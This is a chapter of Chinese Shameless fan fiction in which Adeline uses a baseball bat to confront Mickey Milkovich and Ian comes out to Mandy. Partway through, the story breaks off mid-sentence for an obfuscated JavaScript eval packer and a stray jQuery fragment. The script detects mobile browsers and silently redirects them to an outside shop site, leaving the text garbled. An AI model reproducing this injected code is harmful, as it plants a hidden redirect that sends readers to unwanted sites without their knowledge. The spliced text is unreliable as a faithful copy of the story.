17. 第 17 章
    米尔科维奇,可是南区的一块招牌。

    米奇·米尔科维奇,绝对不会允许自家的这块招牌,砸在自己的手上。

    他发誓,之所以这个红头发的女疯子能把棒球棍贴着他的脖子,百分之二十是因为自己起得太早还不够清醒。

    而剩下的百分之八十,纯粹是他还坚持对女性保持尊重。

    “很显然,你没认错门。我不管你是谁,放下棍子,我们重新开始打招呼。”米奇的对女性尊重,大概率只有这一句话的空间。

    “这是不可能的,对你,或者对我,都不可能。”艾德琳笑得比清晨的阳光还要灿烂。

    于是——

    比加拉格家更能藏人的,可能就是米尔科维奇家的房子了。

    先是米奇,然后是他的兄弟,他的另一个兄弟——

    ***

    利普和伊恩傻站在门口,看着倒在院子里的米奇和他的兄弟们。

    “别告诉我,这是你们干出来的好事,这笔账没完了。”米奇看到利普和伊恩后,突然明白这个女疯子是谁了。

    伊恩扶起院子里的米奇,在米奇下意识地要把他推到地上揍的时候,艾德琳的棒球棍又放在了他的肩膀上,“这位米尔科维奇先生,你现在只是有些酸痛和软组织挫伤,但你的手要是再碰到这位伊恩·加拉格先生,你的肩膀需要接受骨科手术。我想,你们应该都没有,医疗保险。”

    “艾德琳,你在做什么!”曼迪还穿着睡衣,站在门口看着院子里倒在地上的她的兄弟们。

    “利普,去给曼迪找件外套,今天很冷。”艾德琳看着单薄茫然的曼迪。

    利普冒着随时会被一个米尔科维奇暴揍的风险,走进了他从没想过会踏入的房间。

    看着曼迪套上厚外套后,艾德琳还责怪了利普不够贴心,“你至少应该拿一件她自己的衣服。”

    “艾德琳,你确定早上没用伏特加泡咖啡吗?”利普觉得一切都过于疯狂,他自认聪明的脑袋也想不出接下来该如何收场。

    “曼迪,我们需要谈一谈。”艾德琳看着“始作俑者”。

    “我们没什么可以谈的。”曼迪扶起了院子里的一位米尔科维奇,并让他闭嘴老实待在屋子里。

    “不,你必须和我谈一谈,这是你的哥哥?”艾德琳的棒球棍轻轻地点着米奇的肩膀。

    如果有把□□,米奇已经射杀了在场的每一个加拉格和这个红发女疯子。

    “米奇·米尔科维奇,很高兴遇见你。”米奇破天荒做了个自我介绍。

    “艾德琳·陈,我也很高兴,终于有机会见面了。”艾德琳认真打量着这个脏兮兮的白人男孩,“你多大了?”

    “你确定我们要继续聊家常吗?”米奇放开了伊恩,甚至推开了艾德琳的棒球棍。

    “你说得对,曼迪,米奇,利普,还有你,伊恩,我们得好好地谈一谈。”艾德琳用棒球棍挨个点过他们。

    ***

    由于艾德琳十分嫌弃米尔科维奇家的卫生状况,五个人不得不站在冷风中,尤其是米奇,他可还穿着短袖和短裤。

    “米尔科维奇先生,据说你爸爸还没出来,现在你说了算,是吗?”

    艾德琳首先确认了米奇的话语权,在得到米奇点头确认后,她用棒球棍指着利普问米奇,“那么先从最简单的开始,你打他是因为找不到伊恩,所以让他的兄弟偿还,对吗?”

    米奇点点头,蹲不到红毛加拉格,只能找他的兄弟收取利息了。

    “好的,我也打了你的兄弟,这件事情上,我们扯平了,对吗?”艾德琳简直在强词夺理,但是逻辑上米奇又挑不出问题。

    “利普,你可以走了,让他的兄弟们给他送件外套,他快冻死了。”艾德琳可不想把这个很可能还没成年的青少年冻感冒。

    伊恩把自己的围巾递给米奇,米奇迫于温度胡乱的围在脖子上。

    不过很快,利普扔了件外套给米奇。

    利普他不敢走远,老老实实地在一边等着艾德琳接下来的“审判”。

    “接下来,米奇,我的车窗玻璃,是你或者你的兄弟们砸坏的吗?”

    米奇点头,“你应该感谢,我至少把四个轮子都留给你了。”

    “当然,谢谢你的手下留情。你看,我只打碎了外面的窗户,这件事情上,我们也扯平了,对吗?”

    “你在发什么疯?”曼迪想到那一地的玻璃碎渣,她不明白艾德琳到底要做什么。

    “别着急,曼迪。不会耽误太久的,我不希望我们今天上学迟到。你知道的,我不能一周三次去教务处。”

    “别告诉我,你是那个把班克里夫特涂黑的女孩。”米奇终于发现,事情好像有些不对劲。

    “是的,也许你更应该收拾对你姐妹毛手毛脚的人,而不是找我和伊恩的麻烦。”艾德琳无法理解,一家子好斗人士为什么偏偏对唯一的女孩缺乏保护。

    “艾德琳,你欺骗了我,你答应我要和伊恩分手的。”曼迪很委屈,嗓音里带着浓厚的哭腔。

    “曼迪,我没有答应你。伊恩不是一件物品,你想要我不想要,然后就可以被送来送去。你为什么要他当你的男朋友,你喜欢他吗?你们认识了很多年,从小学一年级到九年级,他为你做过什么吗?就因为他随意的一个解围,你就要他做你的男朋友,你了解他吗?”艾德琳又拿棒球棍指着伊恩,甚至每问曼迪一句话,都要用力地戳一下伊恩的肩膀。

    “你不懂艾德琳,他对我很好。”曼迪说。

    “你没有资格教训我的妹妹。”米奇抗议。

    “至少我解决了班克里夫特,也许真正保护家里的女孩,是永远别让她们遇到麻烦,而不是有时候连真凶都搞不清。”艾德琳把棒球棍扔给站得很远的利普,一把扯过依旧冻得发抖的米奇。

    “还有你曼迪,你应该去爱上自己帮自己解决麻烦的感觉,而不是去喜欢上帮自己解决麻烦的人。”艾德琳从口袋里掏出一个盒子,“给你的,我觉得这个颜色很适合你。”

    曼迪接过艾德琳抛过来的盒子,是一盒染发剂。

    “你们好好谈谈,别太久,我们不能迟到。”艾德琳扯着米奇往米尔科维奇家的院子走。

    她勉为其难地同米奇进了家门,利普想要跟进来,可艾德琳只让他站在外面等。

    她看着无处落脚的地方,把米奇推在沙发上,“好了,该我们聊一聊了。你知道吗?弗兰克觉得,我和你们是亲戚。”

    米奇有那么一瞬间,很认真地排查自己家是不是真有这么一位远亲。但考虑到特里是个种族主义者——

    “你知道你今天在做什么吗?”虽然因为窗户破了屋子里有些冷,但同外面比起来,裹上了毛毯的米奇逐渐找回了温度,和正常的大脑。

    “我觉得,我们并不需要为这样的问题再浪费时间。今天的事情,我这里不会有第四个人知道,你这里,应该也不希望别人知道的。米尔科维奇,应该是南区的一块好招牌。”

    “我为什么要听你的?”米奇觉得艾德琳有些天真了,米尔科维奇在南区声名在外,不可能轻易地放过这件事情。

    “我碰巧认识几位律师,作为给你造成这些烦恼的补偿,曼迪和你遇到困难的时候,从我这里,你们会得到免费的法律顾问。”艾德琳愿意,也顶多愿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520655|142331||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    意带上米奇。毕竟他做这些事情,只是为了给妹妹出气。至少,他还关心着曼迪。

    “所以,你和加拉格家,到底是什么关系。”

    “找答案是要花时间的,如果你愿意好好地洗个澡,我甚至愿意你过来吃晚餐。当然,也只有你和曼迪。”艾德琳很想问,并且也问了出来,“认真地,你成年了吗?”

    米奇拒绝回答艾德琳的这个问题,但他还是非常有礼貌地把艾德琳送出了门,“别让我再看到你。”

    “好好照顾你的妹妹,她是个好女孩。”艾德琳觉得,如果车窗没被砸坏,她愿意今天上学的时候接上曼迪。

    ***

    这边,曼迪同伊恩的谈话并不顺利。

    或者说,曼迪拒绝同伊恩交谈。

    “曼迪,你得和我说清楚,你看到了,今天这样——”

    “就因为我不和你说话,所以你的女朋友要闯到我家里来,打伤我的兄弟,把家里的玻璃都砸碎吗?”

    “曼迪,这不是重点。”

    “那重点是什么,是你不喜欢我吗?觉得我是个米尔科维奇家的邋遢又麻烦的女孩吗?”

    “不是的曼迪,你很好,你也很漂亮。”

    “那到底是为了什么,因为艾德琳比我更好,比我更漂亮,甚至比我更有钱吗?”

    “我是GAY。”

    ***

    “你说什么!”比曼迪更诧异的是突然出现在后面的艾德琳。

    刚刚“愉快”地和米奇达成和平共处条约的她,眼看着上学即将迟到,而伊恩和曼迪那里又局势紧张。

    着急赶回去换衣服吃早饭的艾德琳,准备替两个青春期小孩迅速解决矛盾。

    看着满脸惊讶的艾德琳,曼迪突然觉得,也许她比起自己更有生气的理由。

    “谢天谢地,你终于发现了。”赶过来的利普终于找到能说话的机会了。

    艾德琳也终于明白,伊恩让自己假装是他女朋友的原因,“好吧,这的确是个好理由。”

    又想到这几天对南区的了解,“你最好别告诉别人,还有曼迪,你得保证。他还没到能正式出柜的时候,你也不想有一天他走在路上,被歧视的人打一顿。”

    曼迪更同情艾德琳了,“你不生气吗?他骗了你。”

    “他本身就不是我的男朋友,一开始我只是以为他没谈过恋爱不知道怎么合适地拒绝你。对不起曼迪,我不应该和他一起骗你的,让你伤心了。”

    利普看着已经搂着曼迪安慰的艾德琳,“别告诉我,你也没出柜?”

    艾德琳察觉到曼迪的退缩,把曼迪搂得更紧了一点,“你怎么看谁都是这样,我不能只是很喜欢曼迪,想和她做好朋友才对她好吗?难道同性之间、异性之间,就只有爱情这一种关系吗?你太肤浅了,按照你的说法,凯希也很照顾伊恩,难道他们也应该是一对吗?”

    曼迪为了艾德琳单纯地想同自己成为好朋友而开心,而艾德琳却脸色惨白地看着低头沉默的伊恩。

    “别告诉我,是凯希?”艾德琳看向利普。

    利普觉得艾德琳在感情方面,时而极度温柔敏感,时而又愚钝得可怕,“他至少和你提过三次凯希,你不明白了吗?”

    “你疯了吗,他已经结婚了,他甚至有了两个小孩。”如果那根棒球棍不是在利普的手上而利普又站得有点远的话,艾德琳一定会拿着棍子把伊恩打一顿。

    “是的,我刚知道的时候也是这么和他说的。我说凯希在占他的便宜,而你,艾德琳,你说——”

    “你说,在这里,我们是平等的。”伊恩指了指自己的心口,安静地离开了。